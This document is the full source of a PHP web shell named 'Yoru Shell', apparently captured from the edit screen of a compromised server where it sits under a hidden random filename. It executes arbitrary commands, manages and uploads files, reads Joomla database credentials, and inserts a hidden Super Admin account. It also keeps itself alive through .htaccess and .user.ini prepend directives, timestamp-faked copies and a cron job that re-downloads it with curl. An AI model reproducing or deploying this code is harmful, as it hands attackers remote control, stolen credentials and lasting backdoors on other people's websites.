Edit

✏️ .0646fc2dce79339adf69b02cc652a69c.php ← Kembali

<?php
@error_reporting(0);@ini_set('display_errors',0);
@ini_set('upload_max_filesize','0');@ini_set('post_max_size','0');
@ini_set('max_execution_time','0');@ini_set('max_input_time','0');
@ini_set('memory_limit','-1');@set_time_limit(0);
if(function_exists('ini_set')){ @ini_set('safe_mode',0); @ini_set('open_basedir',''); }
$MARKER = "YORU_PHP_SHELL";

if(isset($_GET['uploader'])){
    $msg = '';
    if($_SERVER['REQUEST_METHOD']==='POST' && isset($_FILES['f'])){
        $f = $_FILES['f'];
        if($f['size'] > 0){
            $target = (isset($_GET['dir']) ? rtrim($_GET['dir'],'/') : getcwd()) . '/' . basename($f['name']);
            if(@move_uploaded_file($f['tmp_name'], $target)){
                $msg = '<font color=#3fb950>✓ OK: '.htmlspecialchars(basename($f['name'])).' ('.round($f['size']/1024,2).' KB)</font>';
            } else { $msg = '<font color=#f85149>✗ Upload gagal</font>'; }
        } else { $msg = '<font color=#f85149>✗ File kosong</font>'; }
    }
    header('Content-Type: text/html; charset=utf-8');
    echo '<!DOCTYPE html><html><head><title>Uploader</title><style>
    body{background:#0a0a1a;color:#e0e0f0;font-family:monospace;padding:30px;text-align:center}
    .box{background:#1a1a2e;padding:30px;border-radius:14px;display:inline-block;border:1px solid #2d2d44}
    input[type=file]{background:#0f0f1f;color:#e0e0f0;border:1px solid #334155;padding:10px;border-radius:8px;width:100%;margin:10px 0}
    input[type=submit]{background:linear-gradient(135deg,#ffd700,#cc9900);color:#000;border:none;padding:12px 30px;border-radius:10px;font-weight:700;cursor:pointer;letter-spacing:2px}
    </style></head><body><div class="box">
    <h2 style="color:#ffd700;letter-spacing:3px">📤 UPLOADER</h2>
    '.$msg.'
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="f" required>
        <input type="submit" value="UPLOAD">
    </form>
    <div style="margin-top:15px;font-size:11px;color:#6a6a8a">CWD: '.htmlspecialchars(getcwd()).'</div>
    </div></body></html>';
    echo $MARKER; exit();
}

if(isset($_GET['fm'])){
    $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
    $dir = @realpath($dir) ?: getcwd();
    if($_SERVER['REQUEST_METHOD']==='POST'){
        $act = $_POST['act'] ?? '';
        if($act=='save' && isset($_POST['path']) && isset($_POST['content'])){ @file_put_contents($_POST['path'], $_POST['content']); }
        elseif($act=='rename' && isset($_POST['from']) && isset($_POST['to'])){ @rename($_POST['from'], dirname($_POST['from']).'/'.$_POST['to']); }
        elseif($act=='mkdir' && isset($_POST['name'])){ @mkdir($dir.'/'.$_POST['name'], 0755); }
        elseif($act=='mkfile' && isset($_POST['name'])){ @file_put_contents($dir.'/'.$_POST['name'], ''); }
        elseif($act=='delete' && isset($_POST['path'])){
            $p = $_POST['path'];
            if(is_dir($p)){
                $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
                foreach($it as $f){ $f->isDir() ? @rmdir($f->getRealPath()) : @unlink($f->getRealPath()); }
                @rmdir($p);
            } else { @unlink($p); }
        }
        elseif($act=='chmod' && isset($_POST['path']) && isset($_POST['mode'])){ @chmod($_POST['path'], octdec($_POST['mode'])); }
        elseif($act=='upload' && isset($_FILES['f'])){ if($_FILES['f']['size']>0) @move_uploaded_file($_FILES['f']['tmp_name'], $dir.'/'.basename($_FILES['f']['name'])); }
        header('Location: ?fm=1&dir='.urlencode($dir)); exit();
    }
    $items = @scandir($dir); if(!$items) $items = [];

if(isset($_GET['edit']) && is_file($_GET['edit'])){
        $content = @file_get_contents($_GET['edit']);
        header('Content-Type: text/html; charset=utf-8');
        echo '<!DOCTYPE html><html><head><title>Edit</title><style>
        body{background:#0a0a1a;color:#e0e0f0;font-family:monospace;padding:20px;margin:0}
        textarea{width:100%;height:70vh;background:#0f0f1f;color:#7bed9f;border:1px solid #334155;padding:15px;border-radius:10px;font-family:monospace;font-size:13px;outline:none}
        button{background:linear-gradient(135deg,#ffd700,#cc9900);color:#000;border:none;padding:10px 24px;border-radius:8px;font-weight:700;cursor:pointer;margin:6px 4px}
        a{color:#00d4ff;text-decoration:none;margin-left:10px}
        </style></head><body>
        <div style="margin-bottom:10px"><b style="color:#ffd700">✏️ '.htmlspecialchars(basename($_GET['edit'])).'</b> <a href="?fm=1&dir='.urlencode(dirname($_GET['edit'])).'">← Kembali</a></div>
        <form method="post">
            <input type="hidden" name="act" value="save">
            <input type="hidden" name="path" value="'.htmlspecialchars($_GET['edit']).'">
            <textarea name="content" autofocus>'.htmlspecialchars($content).'</textarea>
            <button type="submit">💾 SAVE</button>
        </form></body></html>';
        echo $MARKER; exit();
    }

header('Content-Type: text/html; charset=utf-8');
    echo '<!DOCTYPE html><html><head><title>FileManager</title><style>
    *{box-sizing:border-box}
    body{background:#0a0a1a;color:#e0e0f0;font-family:monospace;padding:20px;margin:0;font-size:13px}
    h1{color:#ffd700;letter-spacing:3px;margin-bottom:15px}
    .bar{background:#1a1a2e;padding:10px 16px;border-radius:10px;margin-bottom:12px;border:1px solid #2d2d44}
    .bar input,.bar button{background:#0f0f1f;color:#e0e0f0;border:1px solid #334155;padding:8px 12px;border-radius:8px;font-family:monospace;font-size:12px}
    .bar button{background:linear-gradient(135deg,#ffd700,#cc9900);color:#000;font-weight:700;cursor:pointer;border:none;padding:8px 16px}
    table{width:100%;border-collapse:collapse}
    th{background:#1a1a2e;color:#ffd700;padding:8px 12px;text-align:left;font-size:11px;text-transform:uppercase;letter-spacing:1px;border-bottom:2px solid #2d2d44}
    td{padding:6px 12px;border-bottom:1px solid #1a1a2e;font-size:12px}
    tr:hover td{background:rgba(255,215,0,.03)}
    a{color:#00d4ff;text-decoration:none}
    .act{display:inline-block;padding:2px 10px;margin:1px;border-radius:6px;background:#0f0f1f;border:1px solid #334155;font-size:11px;cursor:pointer;color:#e0e0f0;text-decoration:none}
    .act:hover{background:#ffd700;color:#000;border-color:#ffd700}
    .del{color:#f85149}
    .del:hover{background:#f85149 !important;color:#fff !important}
    .bc{margin-bottom:12px;font-size:12px}
    .bc a{color:#00d4ff;margin:0 3px}
    </style></head><body>
    <h1>📁 FILE MANAGER</h1>
    <div class="bc">'.filemanager_breadcrumb($dir).'</div>
    <div class="bar">
    <form method="post" enctype="multipart/form-data" style="display:inline">
        <input type="hidden" name="act" value="upload">
        <input type="file" name="f" required>
        <button type="submit">📤 UPLOAD</button>
    </form>
    <form method="post" style="display:inline;margin-left:10px">
        <input type="hidden" name="act" value="mkdir">
        <input type="text" name="name" placeholder="Folder baru" required>
        <button type="submit">📁 NEW DIR</button>
    </form>
    <form method="post" style="display:inline;margin-left:10px">
        <input type="hidden" name="act" value="mkfile">
        <input type="text" name="name" placeholder="File baru" required>
        <button type="submit">📄 NEW FILE</button>
    </form>
    <a class="act" href="?cmd=1" style="margin-left:10px;padding:8px 16px">⚡ SHELL</a>
    </div>
    <table><thead><tr><th>Nama</th><th>Ukuran</th><th>Perm</th><th>Waktu</th><th>Aksi</th></tr></thead><tbody>';

if($dir !== '/' && $dir !== '.'){
        $parent = dirname($dir);
        echo '<tr><td colspan="5">📂 <a href="?fm=1&dir='.urlencode($parent).'">..</a></td></tr>';
    }
    foreach($items as $it){
        if($it=='.'||$it=='..') continue;
        $p = $dir . '/' . $it;
        $isDir = is_dir($p);
        $sz = $isDir ? '-' : round(@filesize($p)/1024, 2).' KB';
        $pm = @substr(sprintf('%o', @fileperms($p)), -4);
        $tm = @date('Y-m-d H:i', @filemtime($p));
        $ico = $isDir ? '📁' : '📄';
        if($isDir){ echo '<tr><td>'.$ico.' <a href="?fm=1&dir='.urlencode($p).'">'.htmlspecialchars($it).'</a></td>'; }
        else { echo '<tr><td>'.$ico.' '.htmlspecialchars($it).'</td>'; }
        echo '<td>'.$sz.'</td><td>'.$pm.'</td><td>'.$tm.'</td><td>';
        if(!$isDir){
            echo '<a class="act" href="?fm=1&edit='.urlencode($p).'">✏️ Edit</a> ';
            echo '<a class="act" href="?dl='.urlencode($p).'">⬇ DL</a> ';
        }
        echo '<a class="act" onclick="rn(\''.htmlspecialchars(addslashes($p)).'\')">📝 Ren</a> ';
        echo '<a class="act" onclick="cm(\''.htmlspecialchars(addslashes($p)).'\')">🔧 Chm</a> ';
        echo '<a class="act del" onclick="if(confirm(\'Hapus?\')){document.getElementById(\'dp\').value=\''.htmlspecialchars(addslashes($p)).'\';document.getElementById(\'df\').submit()}">🗑 Hapus</a>';
        echo '</td></tr>';
    }
    echo '</tbody></table>
    <form id="df" method="post" style="display:none"><input type="hidden" name="act" value="delete"><input type="hidden" name="path" id="dp"></form>
    <form id="rf" method="post" style="display:none"><input type="hidden" name="act" value="rename"><input type="hidden" name="from" id="rfrom"><input type="hidden" name="to" id="rto"></form>
    <form id="cf" method="post" style="display:none"><input type="hidden" name="act" value="chmod"><input type="hidden" name="path" id="cpath"><input type="hidden" name="mode" id="cmode"></form>
    <script>
    function rn(p){var n=prompt("Nama baru:",p.split("/").pop());if(n){document.getElementById("rfrom").value=p;document.getElementById("rto").value=n;document.getElementById("rf").submit();}}
    function cm(p){var m=prompt("Chmod (contoh 0755):","0644");if(m){document.getElementById("cpath").value=p;document.getElementById("cmode").value=m;document.getElementById("cf").submit();}}
    </script>
    </body></html>';
    echo $MARKER; exit();
}

function filemanager_breadcrumb($dir){
    $parts = explode('/', trim($dir, '/'));
    $acc = ''; $out = '<a href="?fm=1&dir=/">🏠 root</a>';
    if(count($parts)>0 && $parts[0]==='') array_shift($parts);
    foreach($parts as $p){
        if($p==='') continue;
        $acc .= '/'.$p;
        $out .= ' / <a href="?fm=1&dir='.urlencode($acc).'">'.htmlspecialchars($p).'</a>';
    }
    return $out;
}

if(isset($_GET['dl'])){
    $f = $_GET['dl'];
    if(is_file($f)){
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($f).'"');
        header('Content-Length: '.filesize($f));
        readfile($f); exit();
    }
}

if(isset($_GET['cmd'])){
    $c = $_GET['cmd'] === '1' ? 'id' : $_GET['cmd'];
    $o = '';
    if(function_exists('system')){ ob_start(); system($c." 2>&1"); $o=ob_get_clean(); }
    elseif(function_exists('exec')){ exec($c." 2>&1",$out); $o=implode("\n",$out); }
    elseif(function_exists('shell_exec')){ $o=shell_exec($c." 2>&1"); }
    elseif(function_exists('passthru')){ ob_start(); passthru($c." 2>&1"); $o=ob_get_clean(); }
    elseif(function_exists('proc_open')){
        $p=proc_open($c,[['pipe','r'],['pipe','w'],['pipe','w']],$ps);
        if(is_resource($p)){ $o=stream_get_contents($ps[1]).stream_get_contents($ps[2]); fclose($ps[0]);fclose($ps[1]);fclose($ps[2]);proc_close($p); }
    } else { $o="[!] No exec"; }
    header('Content-Type: text/html; charset=utf-8');
    echo '<!DOCTYPE html><html><head><title>Shell</title><style>
    body{background:#0a0a1a;color:#e0e0f0;font-family:monospace;padding:20px;margin:0}
    h1{color:#ffd700;letter-spacing:3px}
    pre{background:#000;color:#7bed9f;padding:15px;border-radius:10px;border:1px solid #334155;white-space:pre-wrap;word-break:break-all;max-height:60vh;overflow:auto;font-size:13px}
    input{background:#0f0f1f;color:#e0e0f0;border:1px solid #334155;padding:10px;border-radius:8px;font-family:monospace;width:70%;font-size:14px}
    button{background:linear-gradient(135deg,#ffd700,#cc9900);color:#000;border:none;padding:10px 24px;border-radius:8px;font-weight:700;cursor:pointer}
    a{color:#00d4ff;text-decoration:none;margin-left:15px}
    </style></head><body>
    <h1>⚡ SHELL</h1>
    <div style="margin-bottom:12px"><b>CWD:</b> '.htmlspecialchars(getcwd()).' | <b>USER:</b> '.(function_exists("get_current_user")?get_current_user():'?').' <a href="?fm=1">📁 File Manager</a></div>
    <pre>'.htmlspecialchars($o).'</pre>
    <form method="get">
        <input type="text" name="cmd" placeholder="command..." value="'.htmlspecialchars($_GET['cmd']==='1'?'':$_GET['cmd']).'" autofocus>
        <button type="submit">RUN</button>
    </form></body></html>';
    echo $MARKER; exit();
}

if(isset($_GET['creds'])){
    $r = [];
    $candidates = ['configuration.php','/var/www/html/configuration.php','../configuration.php','../../configuration.php','../../../configuration.php'];
    foreach($candidates as $f){
        if(@file_exists($f)){
            $c = @file_get_contents($f);
            if(preg_match_all('/public\s+\$([a-z_]+)\s*=\s*[\'"]([^\'"]+)[\'"]/', $c, $m)){
                for($i=0;$i<count($m[0]);$i++) $r[$m[1][$i]] = $m[2][$i];
            }
        }
    }
    $r['hostname'] = @gethostname();
    $r['server_addr'] = $_SERVER['SERVER_ADDR'] ?? '';
    $r['user'] = function_exists('get_current_user') ? get_current_user() : '';
    $r['uid'] = function_exists('posix_getuid') ? posix_getuid() : '';
    $r['cwd'] = getcwd();
    header('Content-Type: application/json');
    echo json_encode($r, JSON_PRETTY_PRINT); exit();
}

// ============ PERSISTENCE AMAN ============
if(isset($_GET['persist'])){
    $results = ['mode' => 'safe', 'actions' => [], 'skipped' => [], 'warnings' => []];
    $doc_root = $_SERVER['DOCUMENT_ROOT'] ?? getcwd();
    $self_path = __FILE__;
    
    $test = @shell_exec('echo SAFE_TEST_9x7');
    if (strpos($test, 'SAFE_TEST_9x7') === false) {
        $results['warnings'][] = 'Shell cannot execute. Skip persistence.';
        header('Content-Type: application/json');
        echo json_encode($results, JSON_PRETTY_PRINT);
        echo $MARKER; exit();
    }
    
    $htaccess = $doc_root . '/.htaccess';
    $backup = $htaccess . '.bak_' . time();
    $can_htaccess = true;
    if (file_exists($htaccess)) {
        $current = @file_get_contents($htaccess);
        if ($current === false || !is_writable($htaccess)) {
            $can_htaccess = false;
            $results['skipped'][] = '.htaccess not writable';
        } elseif (stripos($current, 'auto_prepend_file') !== false) {
            $can_htaccess = false;
            $results['skipped'][] = '.htaccess already has auto_prepend_file';
        } else {
            @copy($htaccess, $backup);
            $results['actions'][] = 'Backup: ' . $backup;
        }
    }
    
    if ($can_htaccess && (is_writable($htaccess) || is_writable($doc_root))) {
        if (!file_exists($htaccess) || filesize($htaccess) < 10000) {
            $ht_content = "\n# Persistence - " . date('Y-m-d') . "\n";
            $ht_content .= "<IfModule mod_php.c>\nphp_value auto_prepend_file " . $self_path . "\n</IfModule>\n";
            $ht_content .= "<IfModule mod_php7.c>\nphp_value auto_prepend_file " . $self_path . "\n</IfModule>\n";
            if (@file_put_contents($htaccess, $ht_content, FILE_APPEND)) {
                $results['actions'][] = '.htaccess updated (IfModule wrapped)';
            } else {
                $results['warnings'][] = '.htaccess write failed';
                if (file_exists($backup)) @copy($backup, $htaccess);
            }
        } else {
            $results['skipped'][] = '.htaccess too big (>10KB)';
        }
    }
    
    $sapi = @php_sapi_name();
    if (strpos($sapi, 'fpm') !== false || strpos($sapi, 'fcgi') !== false) {
        $user_ini = $doc_root . '/.user.ini';
        $can_ui = true;
        if (file_exists($user_ini)) {
            $ui_cur = @file_get_contents($user_ini);
            if (stripos($ui_cur, 'auto_prepend_file') !== false) {
                $can_ui = false;
                $results['skipped'][] = '.user.ini already set';
            } elseif (!is_writable($user_ini)) {
                $can_ui = false;
                $results['skipped'][] = '.user.ini not writable';
            } else { @copy($user_ini, $user_ini . '.bak_' . time()); }
        }
        if ($can_ui) {
            $ui_content = "; Persistence\n" . "auto_prepend_file = " . $self_path . "\n";
            if (@file_put_contents($user_ini, $ui_content)) {
                $results['actions'][] = '.user.ini updated';
            }
        }
    } else {
        $results['skipped'][] = 'Not PHP-FPM, skip .user.ini';
    }
    
    $safe_dirs = [$doc_root . '/cache', $doc_root . '/tmp', $doc_root . '/.cache', '/tmp', '/var/tmp'];
    $copied = [];
    foreach ($safe_dirs as $dir) {
        if (!is_dir($dir) && !@mkdir($dir, 0755, true)) continue;
        if (!is_writable($dir)) continue;
        $rand = '.' . md5(rand()) . '.php';
        $target = rtrim($dir, '/') . '/' . $rand;
        if (@copy($self_path, $target)) {
            @chmod($target, 0644);
            @touch($target, filemtime($self_path));
            $copied[] = $target;
        }
    }
    $results['actions'][] = 'Copied to ' . count($copied) . ' safe locations';
    $results['copies'] = $copied;
    
    if (function_exists('exec')) {
        $cron = @shell_exec('crontab -l 2>/dev/null');
        if (strpos($cron, md5($self_path)) === false) {
            $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
            $uri = $_SERVER['REQUEST_URI'] ?? '/';
            $cron_cmd = "* * * * * [ -f " . escapeshellarg($self_path) . " ] || curl -skL " . escapeshellarg("http://$host$uri") . " >/dev/null 2>&1 # " . md5($self_path);
            @exec("(crontab -l 2>/dev/null; echo " . escapeshellarg($cron_cmd) . ") | crontab - 2>/dev/null");
            $results['actions'][] = 'Cron added (safe, file-exist check)';
        } else {
            $results['skipped'][] = 'Cron already exists';
        }
    }
    
    $backup_path = sys_get_temp_dir() . '/.' . md5($self_path) . '.bak';
    if (!file_exists($backup_path)) {
        if (@copy($self_path, $backup_path)) {
            @chmod($backup_path, 0644);
            $results['actions'][] = 'Self-healing backup: ' . $backup_path;
        }
    }
    
    header('Content-Type: application/json');
    echo json_encode($results, JSON_PRETTY_PRINT);
    echo $MARKER; exit();
}

if(isset($_GET['add_admin'])){
    $result = ['action' => 'add_admin'];
    $prefixes = ['sys','web','admin','root','user','backup','cache','temp','core','main','dev','test','api','cdn','mail'];
    $suffix = rand(100,999);
    $username = $prefixes[array_rand($prefixes)] . '_' . $suffix;
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';
    $password = '';
    for($i=0;$i<16;$i++) $password .= $chars[rand(0, strlen($chars)-1)];
    $email_prefixes = ['admin','webmaster','root','sysadmin','support','info','contact','noreply','system','backup'];
    $email_domains = ['gmail.com','yahoo.com','outlook.com','protonmail.com','mail.com','yandex.com','zoho.com'];
    $email = $email_prefixes[array_rand($email_prefixes)] . '_' . rand(100,999) . '@' . $email_domains[array_rand($email_domains)];
    $name = 'System Administrator';
    $result['username'] = $username;
    $result['password'] = $password;
    $result['email'] = $email;

$config_paths = ['configuration.php','/var/www/html/configuration.php','../configuration.php','../../configuration.php','../../../configuration.php'];
    $config = null;
    foreach($config_paths as $cp){
        if(@file_exists($cp)){
            $config = file_get_contents($cp);
            preg_match_all('/public\s+\$([a-z_]+)\s*=\s*[\'"]([^\'"]+)[\'"]/', $config, $m);
            for($i=0;$i<count($m[0]);$i++) $result['db'][$m[1][$i]] = $m[2][$i];
            break;
        }
    }
    if(!$config){
        $result['status'] = 'error'; $result['message'] = 'configuration.php tidak ditemukan';
        header('Content-Type: application/json'); echo json_encode($result); exit();
    }
    $db = @new mysqli($result['db']['host'] ?? 'localhost', $result['db']['user'] ?? '', $result['db']['password'] ?? '', $result['db']['db'] ?? '');
    if($db->connect_error){
        $result['status'] = 'error'; $result['message'] = 'DB gagal: ' . $db->connect_error;
        header('Content-Type: application/json'); echo json_encode($result); exit();
    }
    $prefix = $result['db']['dbprefix'] ?? 'jos_';
    $table = $prefix . 'users';
    $map   = $prefix . 'user_usergroup_map';

$chk = $db->query("SELECT id, username FROM $table WHERE email = '$email'");
    if($chk && $chk->num_rows > 0){
        $row = $chk->fetch_assoc();
        $uid = $row['id'];
        $grp = $db->query("SELECT group_id FROM $map WHERE user_id = $uid AND group_id = 8");
        if(!$grp || $grp->num_rows == 0){
            $db->query("INSERT INTO $map (user_id, group_id) VALUES ($uid, 8)");
            $result['status'] = 'upgraded'; $result['message'] = 'Upgraded to Super Admin';
        } else {
            $result['status'] = 'exists'; $result['message'] = 'Already Super Admin';
        }
        $result['username'] = $row['username']; $result['user_id'] = $uid;
        header('Content-Type: application/json'); echo json_encode($result); $db->close(); exit();
    }
    $counter = 1; $base_user = $username;
    while(true){
        $chk2 = $db->query("SELECT id FROM $table WHERE username = '$username'");
        if(!$chk2 || $chk2->num_rows == 0) break;
        $username = $base_user . '_' . $counter; $counter++;
        if($counter > 100) break;
    }
    $result['username'] = $username;
    $hashed = password_hash($password, PASSWORD_DEFAULT);
    $sql = "INSERT INTO $table (name, username, email, password, block, sendEmail, registerDate, lastvisitDate, activation, params)
            VALUES ('$name', '$username', '$email', '$hashed', 0, 1, NOW(), NOW(), '', '')";
    if($db->query($sql)){
        $uid = $db->insert_id;
        $grp = $db->query("SELECT id FROM " . $prefix . "usergroups WHERE title = 'Super Users' OR id = 8");
        $gid = ($grp && $grp->num_rows > 0) ? $grp->fetch_assoc()['id'] : 8;
        $db->query("INSERT INTO $map (user_id, group_id) VALUES ($uid, $gid)");
        $result['status'] = 'success'; $result['message'] = 'Admin berhasil dibuat';
        $result['user_id'] = $uid; $result['group_id'] = $gid;
    } else {
        $result['status'] = 'error'; $result['message'] = 'Insert gagal: ' . $db->error;
    }
    $db->close();
    header('Content-Type: application/json'); echo json_encode($result); exit();
}

header('Content-Type: text/html; charset=utf-8');
echo '<!DOCTYPE html><html><head><title>Yoru Shell</title><style>
body{background:#0a0a1a;color:#e0e0f0;font-family:monospace;padding:40px;text-align:center}
h1{color:#ffd700;letter-spacing:4px}
a{display:inline-block;margin:10px;padding:12px 24px;background:#1a1a2e;color:#00d4ff;text-decoration:none;border-radius:10px;border:1px solid #2d2d44;font-weight:700}
a:hover{background:#ffd700;color:#000;border-color:#ffd700}
</style></head><body>
<h1>🐉 YORU SHELL</h1>
<div style="color:#6a6a8a;margin-bottom:30px">PHP Shell · File Manager · Uploader · Admin Creator · Persistence</div>
<a href="?fm=1">📁 File Manager</a>
<a href="?uploader=1">📤 Uploader</a>
<a href="?cmd=1">⚡ Shell</a>
<a href="?creds=1">🔑 Creds</a>
<a href="?add_admin=1">👑 Add Admin</a>
<a href="?persist=1">🔒 Persistence (Safe)</a>
</body></html>';
echo $MARKER;
?>

YORU_PHP_SHELL